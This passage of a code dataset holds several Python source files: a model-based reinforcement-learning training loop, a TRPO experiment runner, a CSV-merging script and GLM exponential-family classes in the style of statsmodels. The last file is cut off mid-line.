env.step(action)\n\n            reward_sum += reward\n            rs.append(reward)  # record reward (has to be done after we call step() to get reward for previous action)\n            ds.append(done * 1)\n\n            if done:\n                if not draw_from_model:\n                    real_episodes += 1\n\n                episode_num += 1\n\n                # stack together all inputs, hidden states, action gradients,\n                # and rewards for this episode\n                epx = np.vstack(xs)\n                epy = np.vstack(ys)\n                epr = np.vstack(rs)\n                epd = np.vstack(ds)\n                xs, ys, rs, ds = [], [], [], []  # reset memory\n\n                if train_model:\n                    actions = np.array([np.abs(y - 1) for y in epy][:-1])\n                    prev_states = epx[:-1, :]\n                    prev_states = np.hstack([prev_states, actions])\n                    next_states = epx[1:, :]\n                    rewards = np.array(epr[1:, :])\n                    dones = np.array(epd[1:, :])\n                    next_states_all = np.hstack([next_states, rewards, dones])\n                    feed_dict = {\n                        model.prev_state: prev_states,\n                        model.true_obs: next_states,\n                        model.true_done: dones,\n                        model.true_reward: rewards\n                    }\n                    loss, p_state, _ = sess.run([model.loss, model.pred_state, model.update_op], feed_dict)\n\n                if train_policy:\n                    discounted_epr = discount_rewards(epr).astype('float32')\n                    discounted_epr -= np.mean(discounted_epr)\n                    discounted_epr /= np.std(discounted_epr)\n                    grads_t = sess.run(policy.new_grads, feed_dict={\n                        policy.observations: epx,\n                        policy.input_y: epy,\n                        policy.advantage: discounted_epr\n                    })\n\n                    # If gradients become too large, end training process\n                    if np.sum(grads_t[0] == grads_t[0]) == 0:\n                        print('Gradients too large!')\n                        break\n\n                    for i, grad in enumerate(grads_t):\n                        grad_buffer[i] += grad\n\n                if switch_point + batch_size == episode_num:\n                    switch_point = episode_num\n\n                    if train_policy:\n                        sess.run(policy.update_grads, feed_dict={\n                            policy.w1_grad: grad_buffer[0],\n                            policy.w2_grad: grad_buffer[1]\n                        })\n                        grad_buffer = reset_grad_buffer(grad_buffer)\n\n                    if running_reward is None:\n                        running_reward = reward_sum\n                    else:\n                        running_reward = running_reward * 0.99 + reward_sum * 0.01\n\n                    if not draw_from_model:\n                        print('World Perf: Episode %i  Reward %f  action: %i  mean reward %f' %\n                              (real_episodes, reward_sum / real_batch_size, action,\n                               running_reward / real_batch_size))\n\n                        if reward_sum / batch_size > 200:\n                            break\n\n                    reward_sum = 0\n\n                    # Once the model has been trained on 100 episodes,\n                    # we start alternating between training the policy\n                    # from the model and training the model from the\n                    # real environment.\n                    if episode_num > 100:\n                        draw_from_model = not draw_from_model\n                        train_model = not train_model\n                        train_policy = not train_policy\n\n                if draw_from_model:\n                    obs = np.random.uniform(-0.1, 0.1, [4])  # Generate reasonable starting point\n                    batch_size = model_batch_size\n                else:\n                    obs = env.reset()\n                    batch_size = real_batch_size\n\n    print('Num real episodes:', real_episodes)\n\n    return p_state, next_states_all\n","repo_name":"markmo/dltemplate","sub_path":"src/rl/survey_of_methods/model_based/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":6761,"program_lang":"python","lang":"en","doc_type":"code","stars":57,"dataset":"github-code","pt":"21"}
+{"seq_id":"24250804922","text":"import numpy as np\nimport torch\nimport os\nimport argparse\nimport time\nimport math\nimport copy\nimport ast\nimport random\n\n\ndef make_directory(dirpath):\n    os.makedirs(dirpath,exist_ok=True)\n\ndef experiment_argparser():\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--lra', default=1e-3, type=float, help='learning rate actor')\n    parser.add_argument('--lrc', default=1e-3, type=float, help='learning rate critic')\n    parser.add_argument(\"-o\", \"--odir\", type=str, default=None, help=\"output directory\")\n    parser.add_argument(\"-d\", \"--debug\", action=\"store_true\", help=\"debug\")\n    parser.add_argument(\"-p\",'--policy' ,type=str, default='GaussianML', help=\"policy type to use\")\n    parser.add_argument(\"-u\",'--num_updates', type=float, default=1e4, help=\"number of gradient updates\")\n    parser.add_argument(\"-g\",\"--gamma\", type=float, default=0.99, help=\"discount factor\")\n    parser.add_argument(\"-N\", type=int, default=15000, help=\"Batch Size\")\n    parser.add_argument(\"-V\", '--num-env', type=int, default=1, help=\"Num Env\")\n    parser.add_argument(\"-s\",'--save_interval', type=float, default=1e3, help=\"Model Save Interval\")\n    parser.add_argument(\"-l\",'--log_interval', type=int, default=50, help=\"Log Interval\")\n    parser.add_argument(\"-E\",'--env', type=str, default=\"BipedalWalker-v2\", help=\"Environment to use\")\n    parser.add_argument(\"-co\", \"--console\", action=\"store_true\", help=\"log to console\")\n    parser.add_argument('--tau', type=float, default=0.98, metavar='G',help='gae (default: 0.97)')\n    parser.add_argument('--l2_pen', type=float, default=1e-3, metavar='G',help='l2 regularization regression (default: 1e-3)')\n    parser.add_argument('--max_kl', type=float, default=1e-2, metavar='G',help='max kl value (default: 1e-2)')\n    parser.add_argument('--seed', type=int, default=543, metavar='N',help='random seed (default: 543). -1 indicates no seed')\n    parser.add_argument('--damping', type=float, default=1e-1, metavar='G',help='damping (default: 1e-1)')\n    parser.add_argument('-a','--alg',type=str, default='TRPO', metavar='G',help='algorithm to use')\n    parser.add_argument('-b','--backend',type=str, default='numpy', metavar='G',help='backend to use for Jacobian')\n    parser.add_argument(\"--nk\",  type=str,default=None, help=\"kwargs for actor and critic nets\")\n    parser.add_argument('--nt',type=str,nargs='+',default=['GaussianML','Value'], help=\"which network architecture to use\")\n    parser.add_argument(\"--run\",  type=int,default=0, help=\"indicates what run number if running multiple of same experiment\")\n    parser.add_argument(\"--rstat\", action=\"store_true\", help=\"use running stats to normalize states (used in Schulman's TRPO)\")\n\n    return parser\n\ndef train_params_from_args(args):\n    experiment_config = {'gamma' : args.gamma,\n                         'alg' : args.alg,\n                         'tau' : args.tau,\n                         'max_kl' : args.max_kl,\n                         'l2_pen' : args.l2_pen,\n                         'lr_actor' : args.lra,\n                         'lr_critic' : args.lrc,\n                         'damping' : args.damping,\n                         'backend' : args.backend,\n                         'num_env' : args.num_env,\n                         'ac_kwargs': get_kwargs(args.nk),\n                         'ac_types': {'actor':args.nt[0],'critic':args.nt[1]},\n                         'debug' : args.debug,\n                         'policy' : args.policy,\n                         'running_stat' : args.rstat,\n                         'seed' : args.seed if args.seed != -1 else random.randint(0,1e8), # make a random seed\n                         'num_updates' : int(args.num_updates),\n                         'N' : args.N,\n                         'env' : args.env,\n                         'console' : args.console,\n                         'run' : args.run,\n                         'odir' : args.odir if args.odir is not None else 'out/experiment_%s' % time.strftime(\"%Y.%m.%d_%H.%M.%S\"),\n                         'save_interval' : int(args.save_interval)}\n\n    return experiment_config\n\n\ndef run_config_from_args(args):\n    experiment_config = {'backend' : args.backend,\n                         'debug' : args.debug,\n                         'console' : args.console,\n                         'odir' : args.odir if args.odir is not None else 'out/experiment_%s' % time.strftime(\"%Y.%m.%d_%H.%M.%S\"),\n                         'save_interval' : int(args.save_interval)}\n\n    return experiment_config\n\n\n\ndef get_kwargs(arg_str):\n    if arg_str is not None:\n        kwargs = ast.literal_eval(arg_str)\n        return kwargs\n    return {}\n\n\ndef run_training(train_config):\n    import os\n    import logging\n    logger = logging.getLogger(__name__)\n    import gym\n    import json\n    import time\n\n    import sampler\n    import algorithm\n    import model\n    import environment\n    import policy\n    #############################\n    # SETUP\n    episode_results_path = os.path.join(train_config['odir'],'episode_results_run_%d.npy' % train_config['run'])\n\n    make_directory(train_config['odir'])\n    with open(os.path.join(train_config['odir'],'train_config_run_%d.json' % train_config['run']), 'w') as fp:\n        json.dump(train_config, fp, sort_keys=True, indent=4)\n\n    log_level = logging.DEBUG if train_config['debug'] else logging.INFO\n    if not train_config['console']:\n        logging.basicConfig(filename=os.path.join(train_config['odir'],'log_run_%d.log' % train_config['run']),\n                level=log_level,\n                format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',)\n    else:\n        logging.basicConfig(level=log_level)\n\n    ###############################\n    # MAKE NET AND POLICY\n    env = gym.make(train_config['env'])\n    num_inputs = env.observation_space.shape[0]\n    num_actions = env.action_space.shape[0]\n    if train_config['seed'] is not None:\n        random.seed(train_config['seed'])\n        ts = random.randint(1,1e8)\n        torch.manual_seed(ts)\n\n    log_str = '\\r\\n###################################################\\r\\n' + \\\n              '\\tEnvironment: %s\\r\\n' % train_config['env'] + \\\n              '\\tAlgorithm: %s\\r\\n' % train_config['alg'] + \\\n              '\\tPolicy Class: %s\\r\\n' % train_config['policy'] + \\\n              '\\tNetwork Types: (%s,%s)\\r\\n' % (train_config['ac_types']['actor'],train_config['ac_types']['critic']) + \\\n              '\\tNetwork Params: %s \\r\\n' % str(train_config['ac_kwargs']) + \\\n              '\\tN, Total Updates, Save Interval: (%d,%d,%d) \\r\\n' % (train_config['N'],train_config['num_updates'],train_config['save_interval']) + \\\n              '###################################################'\n    logger.info(log_str)\n\n    actor_net = getattr(model,train_config['ac_types']['actor'])(num_inputs, num_actions,**train_config['ac_kwargs'])\n    critic_net = getattr(model,train_config['ac_types']['critic'])(num_inputs,**train_config['ac_kwargs'])\n    plc = None\n    try:\n        plc_class = getattr(policy,train_config['policy'])\n        plc = plc_class(actor_net)\n    except AttributeError as e:\n        raise RuntimeError('Algorithm \"%s\" not found' % train_config['policy'])\n\n    ###############################\n    # CREATE ENVIRONMENT AND RUN\n    algo = None\n    try:\n        algo_class = getattr(algorithm,train_config['alg'])\n        algo = algo_class(plc,critic_net,train_config)\n    except AttributeError as e:\n        raise RuntimeError('Algorithm \"%s\" not found' % train_config['alg'])\n\n    smp = sampler.BatchSampler(plc,**train_config)\n    episode_results = np.array([]).reshape((0,6))\n    cur_update = 0\n    finished_episodes = 0\n    smp.reset()\n    samples_per_update = train_config['N'] * train_config['num_env']\n    start = time.time()\n    while cur_update < train_config['num_updates']:\n        batch,crs,trs,els = smp.sample()\n        algo.update(batch)\n\n        # save episode results\n        for i,(cr,tr,el) in enumerate(zip(crs,trs,els)):\n            finished_episodes += 1\n            total_samples = cur_update * samples_per_update\n            # stores: total_updates, total_episodes, total_samples, current_episode_length, current_total_reward, current_cumulative_reward\n            episode_results = np.concatenate((episode_results,np.array([cur_update,finished_episodes,total_samples,el,tr,cr],ndmin=2)),axis=0)\n            np.save(episode_results_path, episode_results)\n            logger.info('Update Number: %06d, Finished Episode: %04d ---  Length: %.3f, TR: %.3f, CDR: %.3f'% (cur_update,finished_episodes,el,tr,cr))\n\n        # checkpoint\n        if cur_update % train_config['save_interval'] == 0:\n            plc.save_model(os.path.join(train_config['odir'],'model_update_%06d_run_%d.pt' % (cur_update,train_config['run'])))\n        cur_update += 1\n\n    end = time.time()\n    print(end - start)\n","repo_name":"ceisenach/torchkit","sub_path":"utils/experiment.py","file_name":"experiment.py","file_ext":"py","file_size_in_byte":8833,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"}
+{"seq_id":"15870419356","text":"import pandas as pd\nimport glob\nfrom pandas import Series,DataFrame\n\npath ='/home/rock19/Desktop/Algo_Project/allCSV' \n\nallFiles = glob.glob(path + \"/*.csv\")\nframe = pd.DataFrame()\nlist_ = []\n\nfor file_ in allFiles:\n    df = pd.read_csv(file_,index_col=None, header=0)\n    list_.append(df)\n\nframe = pd.concat(list_)\n\nframe.to_csv(\"/home/rock19/Desktop/Algo_Project/census.csv\")\n\n","repo_name":"iamblizzard/literacy-prediction-in-india","sub_path":"script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"29036357956","text":"\"\"\"\nThe one parameter exponential family distributions used by GLM.\n\"\"\"\n# TODO: quasi, quasibinomial, quasipoisson\n# see http://www.biostat.jhsph.edu/~qli/biostatistics_r_doc/library/stats/html/family.html\n# for comparison to R, and McCullagh and Nelder\n\nimport numpy as np\nfrom scipy import special\n\nfrom . import links as L  # noqa N812\nfrom . import varfuncs as V  # noqa N812\n\nFLOAT_EPS = np.finfo(float).eps\n\n\nclass Family:\n    \"\"\"\n    The parent class for one-parameter exponential families.\n\n    Parameters\n    ----------\n    link : a link function instance\n        Link is the linear transformation function.\n        See the individual families for available links.\n    variance : a variance function\n        Measures the variance as a function of the mean probabilities.\n        See the individual families for the default variance function.\n\n    See Also\n    --------\n    :ref:`links`\n\n    \"\"\"\n\n    # TODO: change these class attributes, use valid somewhere...\n    valid = [-np.inf, np.inf]\n\n    links = []\n\n    def _setlink(self, link):\n        \"\"\"\n        Helper method to set the link for a family.\n\n        Raises a ValueError exception if the link is not available.  Note that\n        the error message might not be that informative because it tells you\n        that the link should be in the base class for the link function.\n\n        See glm.GLM for a list of appropriate links for each family but note\n        that not all of these are currently available.\n        \"\"\"\n        # TODO: change the links class attribute in the families to hold\n        # meaningful information instead of a list of links instances such as\n        # [<statsmodels.family.links.Log object at 0x9a4240c>,\n        #  <statsmodels.family.links.Power object at 0x9a423ec>,\n        #  <statsmodels.family.links.Power object at 0x9a4236c>]\n        # for Poisson...\n        self._link = link\n        if not isinstance(link, L.Link):\n            raise TypeError(\"The input should be a valid Link object.\")\n        if hasattr(self, \"links\"):\n            validlink = link in self.links\n            validlink = max([isinstance(link, _) for _ in self.links])\n            if not validlink:\n                errmsg = \"Invalid link for family, should be in %s. (got %s)\"\n                raise ValueError(errmsg % (repr(self.links), link))\n\n    def _getlink(self):\n        \"\"\"\n        Helper method to get the link for a family.\n        \"\"\"\n        return self._link\n\n    # link property for each family is a pointer to link instance\n    link = property(_getlink, _setlink, doc=\"Link function for family\")\n\n    def __init__(self, link, variance):\n        self.link = link()\n        self.variance = variance\n\n    def starting_mu(self, y):\n        r\"\"\"\n        Starting value for mu in the IRLS algorithm.\n\n        Parameters\n        ----------\n        y : array\n            The untransformed response variable.\n\n        Returns\n        -------\n        mu_0 : array\n            The first guess on the transformed response variable.\n\n        \"\"\"\n        return (y + y.mean()) / 2.0\n\n    def weights(self, mu):\n        r\"\"\"\n        Weights for IRLS steps\n\n        Parameters\n        ----------\n        mu : array-like\n            The transformed mean response variable in the exponential family\n\n        Returns\n        -------\n        w : array\n            The weights for the IRLS steps\n\n        \"\"\"\n        return 1.0 / (self.link.deriv(mu) ** 2 * self.variance(mu))\n\n    def deviance(self, endog, mu, freq_weights=1.0, scale=1.0):\n        r\"\"\"\n        The deviance function evaluated at (endog,mu,freq_weights,mu).\n\n        Deviance is usually defined as twice the loglikelihood ratio.\n\n        Parameters\n        ----------\n        endog : array-like\n            The endogenous response variable\n        mu : array-like\n            The inverse of the link function at the linear predicted values.\n        freq_weights : array-like\n            1d array of frequency weights. The default is 1.\n        scale : float, optional\n            An optional scale argument. The default is 1.\n\n        Returns\n        -------\n        Deviance : array\n            The value of deviance function defined below.\n\n        \"\"\"\n        raise NotImplementedError\n\n    def resid_dev(self, endog, mu, freq_weights=1.0, scale=1.0):\n        \"\"\"\n        The deviance residuals\n\n        Parameters\n        ----------\n        endog : array\n            The endogenous response variable\n        mu : array\n            The inverse of the link function at the linear predicted values.\n        freq_weights : array-like\n            1d array of frequency weights. The default is 1.\n        scale : float, optional\n            An optional argument to divide the residuals by scale. The default\n            is 1.\n\n        Returns\n        -------\n        Deviance residuals.\n\n        \"\"\"\n        raise NotImplementedError\n\n    def fitted(self, lin_pred):\n        \"\"\"\n        Fitted values based on linear predictors lin_pred.\n\n        Parameters\n        -----------\n        lin_pred : array\n            Values of the linear predictor of the model.\n            dot(X,beta) in a classical linear model.\n\n        Returns\n        --------\n        mu : array\n            The mean response variables given by the inverse of the link\n            function.\n        \"\"\"\n        fits = self.link.inverse(lin_pred)\n        return fits\n\n    def predict(self, mu):\n        \"\"\"\n        Linear predictors based on given mu values.\n\n        Parameters\n        ----------\n        mu : array\n            The mean response variables\n\n        Returns\n        -------\n        lin_pred : array\n            Linear predictors based on the mean response variables.  The value\n            of the link function at the given mu.\n        \"\"\"\n        return self.link(mu)\n\n    def loglike(self, endog, mu, freq_weights=1.0, scale=1.0):\n        \"\"\"\n        The log-likelihood function in terms of the fitted mean response.\n\n        Parameters\n        ----------\n        `endog` : array\n            Usually the endogenous response variable.\n        `mu` : array\n            Usually but not always the fitted mean response variable.\n        freq_weights : array-like\n            1d array of frequency weights. The default is 1.\n        scale : float\n            The scale parameter. The default is 1.\n\n        Returns\n        -------\n        llf : float\n            The value of the loglikelihood evaluated at\n            (endog,mu,freq_weights,scale) as defined below.\n        \"\"\"\n        raise NotImplementedError\n\n    def resid_anscombe(self, endog, mu):\n        \"\"\"\n        The Anscome residuals.\n\n        See also\n        --------\n        statsmodels.families.family.Family docstring and the `resid_anscombe`\n        for the individual families for more information.\n        \"\"\"\n        raise NotImplementedError\n\n\nclass Poisson(Family):\n    \"\"\"\n    Poisson exponential family.\n\n    Parameters\n    ----------\n    link : a link instance, optional\n        The default link for the Poisson family is the log link. Available\n        links are log, identity, and sqrt. See statsmodels.family.links for\n        more information.\n\n    Attributes\n    ----------\n    Poisson.link : a link instance\n        The link function of the Poisson instance.\n    Poisson.variance : varfuncs instance\n\n    \"\"\"\n\n    links = [L.log, L.identity, L.sqrt]\n    variance = V.mu\n    valid = [0, np.inf]\n    safe_links = [\n        L.Log,\n    ]\n\n    def __init__(self, link=L.log):\n        self.variance = Poisson.variance\n        self.link = link()\n\n    def _clean(self, x):\n        \"\"\"\n        Helper function to trim the data so that is in (0,inf)\n\n        \"\"\"\n        return np.clip(x, FLOAT_EPS, np.inf)\n\n    def resid_dev(self, endog, mu, scale=1.0):\n        r\"\"\"Poisson deviance residual\n\n        Parameters\n        ----------\n        endog : array-like\n            Endogenous response variable\n        mu : array-like\n            Fitted mean response variable\n        scale : float, optional\n            An optional argument to divide the residuals by scale. The default\n            is 1.\n\n        Returns\n        -------\n        resid_dev : array\n            Deviance residuals as defined below\n\n        \"\"\"\n        endog_mu = self._clean(endog / mu)\n        return (\n            np.sign(endog - mu)\n            * np.sqrt(2 * (endog * np.log(endog_mu) - (endog - mu)))\n            / scale\n        )\n\n    def deviance(self, endog, mu, freq_weights=1.0, scale=1.0):\n        r\"\"\"\n        Poisson deviance function\n\n        Parameters\n        ----------\n        endog : array-like\n            Endogenous response variable\n        mu : array-like\n            Fitted mean response variable\n        freq_weights : array-like\n            1d array of frequency weights. The default is 1.\n        scale : float, optional\n            An optional scale argument. The default is 1.\n\n        Returns\n        -------\n        deviance : float\n            The deviance function at (endog,mu,freq_weights,scale) as defined\n            below.\n\n        \"\"\"\n        endog_mu = self._clean(endog / mu)\n        return 2 * np.sum(endog * freq_weights * np.log(endog_mu)) / scale\n\n    def loglike(self, endog, mu, freq_weights=1.0, scale=1.0):\n        r\"\"\"\n        The log-likelihood function in terms of the fitted mean response.\n\n        Parameters\n        ----------\n        endog : array-like\n            Endogenous response variable\n        mu : array-like\n            Fitted mean response variable\n        freq_weights : array-like\n            1d array of frequency weights. The default is 1.\n        scale : float, optional\n            The scale parameter, defaults to 1.\n\n        Returns\n        -------\n        llf : float\n            The value of the loglikelihood function evaluated at\n            (endog,mu,freq_weights,scale) as defined below.\n\n        \"\"\"\n        loglike = np.sum(\n            freq_weights * (endog * np.log(mu) - mu - special.gammaln(endog + 1))\n        )\n        return scale * loglike\n\n    def resid_anscombe(self, endog, mu):\n        r\"\"\"\n        Anscombe residuals for the Poisson exponential family distribution\n\n        Parameters\n        ----------\n        endog : array-like\n            Endogenous response variable\n        mu : array-like\n            Fitted mean response variable\n\n        Returns\n        -------\n        resid_anscombe : array\n            The Anscome residuals for the Poisson family defined below\n\n        \"\"\"\n        return (3 / 2.0) * (endog ** (2 / 3.0) - mu ** (2 / 3.0)) / mu ** (1 / 6.0)\n\n\nclass QuasiPoisson(Family):\n    \"\"\"\n    QuasiPoisson exponential family.\n\n    Parameters\n    ----------\n    link : a link instance, optional\n        The default link for the Poisson family is the log link. Available\n        links are log, identity, and sqrt. See statsmodels.family.links for\n        more information.\n\n    Attributes\n    ----------\n    Poisson.link : a link instance\n        The link function of the Poisson instance.\n    Poisson.variance : varfuncs instance\n\n    \"\"\"\n\n    links = [L.log, L.identity, L.sqrt]\n    variance = V.mu\n    valid = [0, np.inf]\n    safe_links = [\n        L.Log,\n    ]\n\n    def __init__(self, link=L.log):\n        self.variance = Poisson.variance\n        self.link = link()\n\n    def _clean(self, x):\n        \"\"\"\n        Helper function to trim the data so that is in (0,inf)\n\n        \"\"\"\n        return np.clip(x, FLOAT_EPS, np.inf)\n\n    def resid_dev(self, endog, mu, scale=1.0):\n        r\"\"\"Poisson deviance residual\n\n        Parameters\n        ----------\n        endog : array-like\n            Endogenous response variable\n        mu : array-like\n            Fitted mean response variable\n        scale : float, optional\n            An optional argument to divide the residuals by scale. The default\n            is 1.\n\n        Returns\n        -------\n        resid_dev : array\n            Deviance residuals as defined below\n\n        \"\"\"\n        endog_mu = self._clean(endog / mu)\n        return (\n            np.sign(endog - mu)\n            * np.sqrt(2 * (endog * np.log(endog_mu) - (endog - mu)))\n            / scale\n        )\n\n    def deviance(self, endog, mu, freq_weights=1.0, scale=1.0):\n        r\"\"\"\n        Poisson deviance function\n\n        Parameters\n        ----------\n        endog : array-like\n            Endogenous response variable\n        mu : array-like\n            Fitted mean response variable\n        freq_weights : array-like\n            1d array of frequency weights. The default is 1.\n        scale : float, optional\n            An optional scale argument. The default is 1.\n\n        Returns\n        -------\n        deviance : float\n            The deviance function at (endog,mu,freq_weights,scale) as defined\n            below.\n\n        \"\"\"\n        endog_mu = self._clean(endog / mu)\n        return 2 * np.sum(endog * freq_weights * np.log(endog_mu)) / scale\n\n    def loglike(self, endog, mu, freq_weights=1.0, scale=1.0):  # noqa ARG002\n        r\"\"\"\n        The log-likelihood function in terms of the fitted mean response.\n\n        Returns NaN for QuasiPoisson\n\n        Returns\n        -------\n        None: not applicable for QuasiPoisson\n        \"\"\"\n        return np.nan\n\n    def resid_anscombe(self, endog, mu):\n        r\"\"\"\n        Anscombe residuals for the Poisson exponential family distribution\n\n        Parameters\n        ----------\n        endog : array-like\n            Endogenous response variable\n        mu : array-like\n            Fitted mean response variable\n\n        Returns\n        -------\n        resid_anscombe : array\n            The Anscome residuals for the Poisson family defined below\n\n        \"\"\"\n        return (3 / 2.0) * (endog ** (2 / 3.0) - mu ** (2 / 3.0)) / mu ** (1 / 6.0)\n\n\nclass Gaussian(Family):\n    \"\"\"\n    Gaussian exponential family distribution.\n\n    Parameters\n    ----------\n    link : a link instance, optional\n        The default link for the Gaussian family is the identity link.\n        Available links are log, identity, and inverse.\n        See statsmodels.family.links for more information.\n\n    Attributes\n    ----------\n    Gaussian.link : a link instance\n        The link function of the Gaussian instance\n    Gaussian.variance : varfunc instance\n    \"\"\"\n\n    links = [L.log, L.identity, L.inverse_power]\n    variance = V.constant\n    safe_links = links\n\n    def __init__(self, link=L.identity):\n        self.variance = Gaussian.variance\n        self.link = link()\n\n    def resid_dev(self, endog, mu, scale=1.0):\n        \"\"\"\n        Gaussian deviance residuals\n\n        Parameters\n        -----------\n        endog : array-like\n            Endogenous response variable\n        mu : array-like\n            Fitted mean response variable\n        scale : float, optional\n            An optional argument to divide the residuals by scale. The default\n            is 1.\n\n        Returns\n        -------\n        resid_dev : array\n            Deviance residuals as defined below\n\n        \"\"\"\n\n        return (endog - mu) / np.sqrt(self.variance(mu)) / scale\n\n    def deviance(self, endog, mu, freq_weights=1.0, scale=1.0):\n        \"\"\"\n        Gaussian deviance function\n\n        Parameters\n        ----------\n        endog : array-like\n            Endogenous response variable\n        mu : array-like\n            Fitted mean response variable\n        freq_weights : array-like\n            1d array of frequency weights. The default is 1.\n        scale : float, optional\n            An optional scale argument. The default is 1.\n\n        Returns\n        -------\n        deviance : float\n            The deviance function at (endog,mu,freq_weights,scale)\n            as defined below.\n\n        \"\"\"\n        return np.sum(freq_weights * (endog - mu) ** 2) / scale\n\n    def loglike(self, endog, mu, freq_weights=1.0, scale=1.0):\n        \"\"\"\n        The log-likelihood in terms of the fitted mean response.\n\n        Parameters\n        ----------\n        endog : array-like\n            Endogenous response variable\n        mu : array-like\n            Fitted mean response variable\n        freq_weights : array-like\n            1d array of frequency weights. The default is 1.\n        scale : float, optional\n            Scales the loglikelihood function. The default is 1.\n\n        Returns\n        -------\n        llf : float\n            The value of the loglikelihood function evaluated at\n            (endog,mu,freq_weights,scale) as defined below.\n\n        \"\"\"\n        if isinstance(self.link, L.Power) and self.link.power == 1:\n            # This is just the loglikelihood for classical OLS\n            nobs2 = endog.shape[0] / 2.0\n            SSR = np.sum((endog - self.fitted(mu)) ** 2, axis=0)\n            llf = -np.log(SSR) * nobs2\n            llf -= (1 + np.log(np.pi / nobs2)) * nobs2\n            return llf\n        else:\n            return np.sum(\n                freq_weights\n                * (\n                    (endog * mu - mu**2 / 2) / scale\n                    - endog**2 / (2 * scale)\n                    - 0.5 * np.log(2 * np.pi * scale)\n                )\n            )\n\n    def resid_anscombe(self, endog, mu):\n        \"\"\"\n        The Anscombe residuals for the Gaussian exponential family distribution\n\n        Parameters\n        ----------\n        endog : array\n            Endogenous response variable\n        mu : array\n            Fitted mean response variable\n\n        Returns\n        -------\n        resid_anscombe : array\n            The Anscombe residuals for the Gaussian family defined below\n\n        \"\"\"\n        return endog - mu\n\n\nclass Gamma(Family):\n    \"\"\"\n    Gamma exponential family distribution.\n\n    Parameters\n    ----------\n    link : a link instance, optional\n        The default link for the Gamma family is the inverse link.\n        Available links are log, identity, and inverse.\n        See statsmodels.family.links for more information.\n\n    Attributes\n    ----------\n    Gamma.link : a link instance\n        The link function of the Gamma instance\n    Gamma.variance : varfunc instance\n    \"\"\"\n\n    links = [L.log, L.identity, L.inverse_power]\n    variance = V.mu_squared\n    safe_links = [\n        L.Log,\n    ]\n\n    def __init__(self, link=L.inverse_power):\n        self.variance = Gamma.variance\n        self.link = link()\n\n    def _clean(self, x):\n        \"\"\"\n        Helper function to trim the data so that is in (0,inf)\n\n        \"\"\"\n        return np.clip(x, FLOAT_EPS, np.inf)\n\n    def deviance(self, endog, mu, freq_weights=1.0, scale=1.0):  # noqa ARG002\n        r\"\"\"\n        Gamma deviance function\n\n        Parameters\n        -----------\n        endog : array-like\n            Endogenous response variable\n        mu : array-like\n            Fitted mean response variable\n        freq_weights : array-like\n            1d array of frequency weights. The default is 1.\n        scale : float, optional\n            An optional scale argument. The default is 1.\n\n        Returns\n        -------\n        deviance : float\n            Deviance function as defined below\n\n        \"\"\"\n        endog_mu = self._clean(endog / mu)\n        return 2 * np.sum(freq_weights * ((endog - mu) / mu - np.log(endog_mu)))\n\n    def resid_dev(self, endog, mu, scale=1.0):  # noqa ARG002\n        r\"\"\"\n        Gamma deviance residuals\n\n        Parameters\n        -----------\n        endog : array-like\n            Endogenous response variable\n        mu : array-like\n            Fitted mean response variable\n        scale : float, optional\n            An optional argument to divide the residuals by scale. The default\n            is 1.\n\n        Returns\n        -------\n        resid_dev : array\n            Deviance residuals as defined below\n\n        \"\"\"\n        endog_mu = self._clean(endog / mu)\n        return np.sign(endog - mu) * np.sqrt(\n            -2 * (-(endog - mu) / mu + np.log(endog_mu))\n        )\n\n    def loglike(self, endog, mu, freq_weights=1.0, scale=1.0):\n        r\"\"\"\n        The log-likelihood function in terms of the fitted mean response.\n\n        Parameters\n        ----------\n        endog : array-like\n            Endogenous response variable\n        mu : array-like\n            Fitted mean response variable\n        freq_weights : array-like\n            1d array of frequency weights. The default is 1.\n        scale : float, optional\n            The default is 1.\n\n        Returns\n        -------\n        llf : float\n            The value of the loglikelihood function evaluated at\n            (endog,mu,freq_weights,scale) as defined below.\n\n        \"\"\"\n        return (\n            -1.0\n            / scale\n            * np.sum(\n                (\n                    endog / mu\n                    + np.log(mu)\n                    + (scale - 1) * np.log(endog)\n                    + np.log(scale)\n                    + scale * special.gammaln(1.0 / scale)\n                )\n                * freq_weights\n            )\n        )\n\n        # in Stata scale is set to equal 1 for reporting llf\n        # in R it's the dispersion, though there is a loss of precision vs.\n        # our results due to an assumed difference in implementation\n\n    def resid_anscombe(self, endog, mu):\n        r\"\"\"\n        The Anscombe residuals for Gamma exponential family distribution\n\n        Parameters\n        ----------\n        endog : array\n            Endogenous response variable\n        mu : array\n            Fitted mean response variable\n\n        Returns\n        -------\n        resid_anscombe : array\n            The Anscombe residuals for the Gamma family defined below\n\n        \"\"\"\n        return 3 * (endog ** (1 / 3.0) - mu ** (1 / 3.0)) / mu ** (1 / 3.0)\n\n\nclass Binomial(Family):\n    \"\"\"\n    Binomial exponential family distribution.\n\n    Parameters\n    ----------\n    link : a link instance, optional\n        The default link for the Binomial family is the logit link.\n        Available links are logit, probit, cauchy, log, and cloglog.\n        See statsmodels.family.links for more information.\n\n    Attributes\n    ----------\n    Binomial.link : a link instance\n        The link function of the Binomial instance\n    Binomial.variance : varfunc instance\n\n    \"\"\"\n\n    links = [L.logit, L.probit, L.cauchy, L.log, L.cloglog, L.identity]\n    variance = V.binary  # this is not used below in an effort to include n\n\n    # Other safe links, e.g. cloglog and probit are subclasses\n    safe_links = [L.Logit, L.CDFLink]\n\n    def __init__(self, link=L.logit):  # , n=1.):\n        # TODO: it *should* work for a constant n>1 actually, if freq_weights\n        # is equal to n\n        self.n = 1\n        # overwritten by initialize if needed but always used to initialize\n        # variance since endog is assumed/forced to be (0,1)\n        self.variance = V.Binomial(n=self.n)\n        self.link = link()\n\n    def starting_mu(self, y):\n        r\"\"\"\n        The starting values for the IRLS algorithm for the Binomial family.\n        A good choice for the binomial family is :math:`\\mu_0 = (Y_i + 0.5)/2`\n        \"\"\"\n        return (y + 0.5) / 2\n\n    def initialize(self, endog, freq_weights):  # noqa ARG002\n        \"\"\"\n        Initialize the response variable.\n\n        Parameters\n        ----------\n        endog : array\n            Endogenous response variable\n\n        Returns\n        --------\n        If `endog` is binary, returns `endog`\n\n        If `endog` is a 2d array, then the input is assumed to be in the format\n        (successes, failures) and\n        successes/(success + failures) is returned.  And n is set to\n        successes + failures.\n        \"\"\"\n        # if not np.all(np.asarray(freq_weights) == 1):\n        #     self.variance = 